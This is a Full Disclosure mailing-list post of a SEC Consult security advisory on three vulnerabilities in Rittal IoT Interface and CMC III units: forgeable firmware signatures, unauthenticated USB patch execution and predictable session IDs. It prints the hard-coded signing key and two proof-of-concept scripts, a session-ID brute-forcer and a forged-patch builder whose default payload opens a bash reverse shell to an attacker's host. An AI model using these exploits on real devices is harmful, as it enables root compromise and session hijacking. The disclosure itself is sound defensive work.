[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] SEC Consult SA-20241015-0 :: Multiple Vulnerabilities in Rittal IoT Interface & CMC III Processing Unit (CVE-2024-47943, CVE-2024-47944, CVE-2024-47945)

To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
Subject: [FD] SEC Consult SA-20241015-0 :: Multiple Vulnerabilities in Rittal IoT Interface & CMC III Processing Unit (CVE-2024-47943, CVE-2024-47944, CVE-2024-47945)
From: SEC Consult Vulnerability Lab via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
Date: Thu, 17 Oct 2024 05:46:06 +0000

SEC Consult Vulnerability Lab Security Advisory < 20241015-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: Rittal IoT Interface & CMC III Processing Unit
 vulnerable version: <6.21.00.2
      fixed version: 6.21.00.2
         CVE number: CVE-2024-47943, CVE-2024-47944, CVE-2024-47945
             impact: high/critical
           homepage: https://www.rittal.com
              found: 2024-06-03
                 by: Johannes Kruchem (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Eviden business
                     Europe | Asia

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Innovative strength has been woven into the Rittal DNA since its foundation.
In 1961, Rudolf Loh Elektrogerätebau was founded in Rittershausen by the
entrepreneur Rudolf Loh, with one simple guiding principle: “Enclosures
off the shelf, immediately.” In its founding year it launched the world’s
first standard enclosure on the market. In 1969, the company was renamed
Rittal, in honour of its roots in Rittershausen in Dietzhölztal. Within
just a few years, Rittal enclosures had become established as a global
standard, and have remained so to this day."

Source: https://www.rittal.com/com-en/Company


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately on the 
affected
devices.

SEC Consult highly recommends to perform a thorough security review of the 
product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
-----------------------------------
1) Improper signature verification of firmware upgrade files (CVE-2024-47943)
The firmware upgrade function in the admin web interface checks if the
patch files are signed before executing the containing run.sh script.
The signing process is kind of an HMAC with a long string as key
which is hard-coded in the firmware and is freely available for download.
This allows crafting malicious "signed" .patch files in order to compromise
the device and execute arbitrary code.


2) Missing Protection Mechanism for Alternate Hardware Interface 
(CVE-2024-47944)
The device directly executes .patch files on a USB stick without any 
authentication.
This leads to an unauthenticated code execution in combination with 1).


3) Predictable Session ID (CVE-2024-47945)
The device is vulnerable to session hijacking due to insufficient entropy
in its session ID generation algorithm. The session IDs are predictable,
with only 32,768 possible values per user, which allows attackers to 
pre-generate
valid session IDs, leading to unauthorized access to user sessions. This is not
only due to the use of an (insecure) rand() function call but also because of
missing initialization via srand(). As a result only the PIDs are effectively
used as seed.


Proof of concept:
-----------------
1) Improper signature verification of firmware upgrade files (CVE-2024-47943)
To create a firmware or patch file passing the signature verification
the following steps are necessary:

- Store SHA512sum of all files of the fake firmware (needs run.sh) in file 
"rittal"
- Append hardcoded key 
"8ab4ce0f72bce9b3837281b7928732c5abfc43103a681214942dec2cc
  91f236ce8e9263f5778cc6db253ade368b0db4a9ff2adb9cc9f76c5114fe3ffcaf38bba" to 
the file
- Store SHA512sum of the file "rittal" in rittal.sig (delete "rittal" file if 
in directory)
- Create .tar of fake firmware files (e.g. run.sh & rittal.sig)
- Rename to <name>.patch
- Apply firmware upgrade (needs admin session in web interface)
- Profit

The attached PoC code creates a new valid .patch file which will be executed 
with
root privileges when the firmware upgrade will be applied.


2) Missing Protection Mechanism for Alternate Hardware Interface 
(CVE-2024-47944)
This PoC describes the exploit from 1) without authentication but physical 
access.
For exploitation a signed (see 1)) firmware or .patch file is needed.
A script checks for new content of plugged-in USB sticks or SD cards.
If there is a .patch file available, the signature verification process
will be triggered.

The attached PoC code can also be used to generate signed firmware files.


3) Predictable Session ID (CVE-2024-47945)
The following function generates the sessionID for the web interface.
The code is part of the json.cgi script, which is invoked by the
Lighttpd web server:

  generate_sessionID(int a1, int UserID)
  {
    int pid; // r5
    int seed; // r0

    pid = getpid();
    seed = rand();
    srand(pid + seed);
    return ((rand() + 123) & 0xFFFFF00F) + 16 * UserID;
  }

It has been identified that the rand() function used in the sessionID generation
has a complexity of 2^31, which is inherently weak. However, the practical
implications for online brute-force attacks are limited due to additional 
factors.

The Process ID (PID) can range between 0 and 32768, and the UserID can vary from
0 to 256, which slightly increases the complexity. The primary issue lies
in the initial call to rand(), which always returns 1804289383 because it is not
initialized with srand(). Since json.cgi is invoked for every request, the
subsequent initialization does not take effect. This results in the seed being
essentially ineffective, leaving only the PID to function as the seed.

The UserID value is dependent on the user, with "admin" having a UserID of 0 and
"user" having a UserID of 1.

Consequently, the sessionID has an entropy of only 32768, making it highly
susceptible to exploitation within a few minutes.

The attached PoC code takes a list of sessionIDs and performs an online
brute-force attack. A valid session needs to be active.


Vulnerable / tested versions:
-----------------------------
The following versions have been tested which were the latest version available
at the time of the test:
* 6.17.00
* 6.19.00.1

It is assumed that all previous versions <V6.21.00.2 are affected.

The vendor confirmed that the products 3124.300 IoT Interface and 7030.000 CMC
III Processing Unit are affected.


Vendor contact timeline:
------------------------
2024-06-21: Contacting vendor through info@xxxxxxxxx; no response.
2024-07-01: Contacting vendor through LinkedIn.
2024-07-02: Received contact for embedded devices.
2024-07-03: Sent advisory to Rittal contact.
2024-07-12: Response from vendor that V6.21.00.2 with fixed vulnerabilities will
            be released on 2024-09-30.
2024-10-07: Reserving CVE numbers.
2024-10-08: Informing Rittal about upcoming security conference talk having 
Rittal
            as an example regarding SessionID entropy, sending CVE numbers to 
vendor,
            asking again about affected products.
2024-10-11: Vendor confirms affected products, security fixes have already been
            published.
2024-10-15: Coordinated release of security advisory.


Solution:
---------
The vendor provides a patched version V6.21.00.2 which can be downloaded from
the following URL:
https://www.rittal.com/de-de/products/deep/3124300


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Johannes Kruchem / @2024

# SEC Consult Vulnerability Lab 2024
# Advisory title: Multiple Vulnerabilities in Rittal IoT Interface
# Author: Johannes Kruchem
# URL: https://r.sec-consult.com/rittaliot
# Script for online brute-forcing weak session IDs (CVE-2024-47945)

import asyncio
import aiohttp
import json
import argparse

async def send_request(session, url, session_id):
    payload = f'getProcessData={{"sessionId":{session_id},"lastTimestamp": 
937}}'

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    try:
        async with session.post(url, data=payload, headers=headers) as response:
            response_text = await response.text()
            response_json = json.loads(response_text)
            result = response_json.get('result')
            if result == 0:
                print(f'Session ID {session_id}: Success')
                return True  # Indicate successful exit condition
            else:
                return False  # Indicate continue processing
    except aiohttp.ClientError as e:
        return False  # Indicate continue processing
    except asyncio.TimeoutError as t:
        return False

async def main(session_ids_file, server_ip):
    url = f'http://{server_ip}/cgi-bin/json.cgi'  # Replace with provided 
server's URL
    delay_seconds = 0.01  # Adjust this based on server capacity

    # Read session IDs from file
    with open(session_ids_file, 'r') as f:
        session_ids = [line.strip() for line in f.readlines()]

    async with aiohttp.ClientSession() as session:
        tasks = []
        for session_id in session_ids:
            task = asyncio.ensure_future(send_request(session, url, session_id))
            tasks.append(task)

            # Throttle requests with a delay
            await asyncio.sleep(delay_seconds)

        results = await asyncio.gather(*tasks)

        # Check if any result was successful (result == 0)
        if any(results):
            print("Exiting because of successful result (result == 0)")
        else:
            print("All requests processed without successful result")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Process some session IDs.')
    parser.add_argument('sessionIDs', type=str, help='The file containing 
session IDs')
    parser.add_argument('serverIP', type=str, help='The server IP address')

    args = parser.parse_args()

    loop = asyncio.get_event_loop()
    loop.run_until_complete(main(args.sessionIDs, args.serverIP))

# SEC Consult Vulnerability Lab 2024
# Advisory title: Multiple Vulnerabilities in Rittal IoT Interface
# Author: Johannes Kruchem
# URL: https://r.sec-consult.com/rittaliot
# Script for creating signed firmware update file (CVE-2024-47943)


import argparse
import os
import io
import tarfile
import hashlib

parser = argparse.ArgumentParser(
                    prog='Rittal CI',
                    description='Creates patch file for several Rittal devices 
to exploit a command injection vulnerability',
                    epilog='nice')

parser.add_argument('-ip', '--ip')
parser.add_argument('-p', '--port')
parser.add_argument('-o', '--output')
parser.add_argument('-sh', '--shell_command')

args = parser.parse_args()

# Create a tar archive in memory
tar_in_memory = io.BytesIO()

# Hardcoded "signing key" in firmware
key="8ab4ce0f72bce9b3837281b7928732c5abfc43103a681214942dec2cc91f236ce8e9263f5778cc6db253ade368b0db4a9ff2adb9cc9f76c5114fe3ffcaf38bba"

def add_file_to_tar(tar, name, content):
    file_in_memory = io.BytesIO(content)
    info = tarfile.TarInfo(name=name)
    info.size = len(file_in_memory.getvalue())
    file_in_memory.seek(0)
    tar.addfile(tarinfo=info, fileobj=file_in_memory)

# Compute sha512sum of a string to not create unnecessary files on disk
def compute_sha512_from_string(input_string):
    hash_sha512 = hashlib.sha512()
    hash_sha512.update(input_string.encode('utf-8'))
    return hash_sha512.hexdigest()

# Open the tar archive for writing
with tarfile.open(fileobj=tar_in_memory, mode="w:gz") as tar:

    # If shell command flag is used 
    if args.shell_command:
        bash_command = args.shell_command
    else:
        # Building reverse shell payload 
        if not args.ip or not args.port:
            print("No port or IP for reverse shell set. Use either 
--shell_command or provide IP and port.")
            exit(1)
        else:
           bash_command = f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1\n"

    # run.sh will be executed when patching/fw upgrading
    add_file_to_tar(tar, "run.sh", bytes(bash_command.encode('utf-8')))

    # Compute hash of run.sh and appending hardcoded key (see above)
    rittal_hashes = f"{compute_sha512_from_string(bash_command)}  
./run.sh\n{key}\n"

    # Compute hash of <rittal_hashes> 
    rittal_sig = f"{compute_sha512_from_string(rittal_hashes)}  rittal\n"

    # Add rittal.sig its content is checked during patching
    add_file_to_tar(tar, "rittal.sig", bytes(rittal_sig.encode('utf-8')))


if args.output:
    filename = f"{args.output}.patch"
else:
    filename = "reverse_shell.patch"

# Build .patch file / exploit
with open(filename, "wb") as f_out:
    tar_in_memory.seek(0)
    f_out.write(tar_in_memory.getvalue())

Attachment: smime.p7s
Description: S/MIME Cryptographic Signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Prev by Date: [FD] CVE-2024-48939: Unauthorized enabling of API in Paxton Net2 software
Next by Date: [FD] Adversary3 updated with 700 malware and C2 panel vulnerabilities
Previous by thread: [FD] CVE-2024-48939: Unauthorized enabling of API in Paxton Net2 software
Next by thread: [FD] Adversary3 updated with 700 malware and C2 panel vulnerabilities
Index(es):
- Date
- Thread